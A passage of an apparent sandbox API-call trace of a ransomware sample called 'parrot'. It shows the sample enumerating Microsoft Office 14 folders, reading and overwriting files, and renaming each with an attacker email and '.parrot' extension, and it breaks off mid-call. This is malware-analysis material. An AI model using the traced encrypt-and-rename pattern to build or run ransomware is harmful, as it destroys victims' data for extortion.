office\\office14\\pubba\\mspub3b.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3B.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3b.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.621] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0203.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0203.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0203.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0203.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0203.623] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.623] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.626] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc144, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc144, lpOverlapped=0x0) returned 1 [0203.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.627] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0203.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0203.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0203.627] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0203.627] GetLastError () returned 0x0 [0203.628] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0203.629] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0203.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0203.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0203.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0203.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0203.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0203.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0203.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0203.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0203.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0203.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0203.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0203.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c44e0 [0203.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0203.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c7478 [0203.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c44e0 | out: hHeap=0x5b0000) returned 1 [0203.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31a0458 [0203.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c7478 | out: hHeap=0x5b0000) returned 1 [0203.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31d64b0 [0203.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0203.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31e04e0 [0203.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0203.633] WriteFile (in: hFile=0x27c, lpBuffer=0x31e0500*, nNumberOfBytesToWrite=0xc268, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31e0500*, lpNumberOfBytesWritten=0x18eed4*=0xc268, lpOverlapped=0x0) returned 1 [0203.636] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e04e0 | out: hHeap=0x5b0000) returned 1 [0203.636] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc25c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.636] CloseHandle (hObject=0x27c) returned 1 [0203.637] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0203.637] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293178 [0203.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0203.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub4.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB4.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub4.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.638] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.638] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.638] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0203.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0203.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.643] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.645] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcfb4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcfb4, lpOverlapped=0x0) returned 1 [0203.648] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5a.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5A.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5a.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0203.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.659] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.661] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.661] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2476, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2476, lpOverlapped=0x0) returned 1 [0203.662] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5b.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB5B.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub5b.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0203.670] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.671] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.672] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.672] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f46, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7f46, lpOverlapped=0x0) returned 1 [0203.673] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub6.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB6.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub6.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0203.682] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.683] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.684] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x799a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x799a, lpOverlapped=0x0) returned 1 [0203.685] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub7.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB7.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub7.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0203.692] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.692] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.694] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe6aa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe6aa, lpOverlapped=0x0) returned 1 [0203.696] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub8.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB8.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub8.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0203.739] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.739] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.741] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6bbe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6bbe, lpOverlapped=0x0) returned 1 [0203.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub9.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB9.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub9.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0203.750] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0203.750] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5773a20, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x5773a20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.750] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54a0000, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xcb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MSPUB1~1.PAR")) returned 1 [0203.750] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0203.753] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0203.753] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.754] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0203.754] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0203.754] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 [0203.755] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.755] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.757] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d9e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d9e, lpOverlapped=0x0) returned 1 [0203.758] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\accsbar.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ACCSBAR.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\accsbar.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0203.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0203.764] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.764] ReadFile 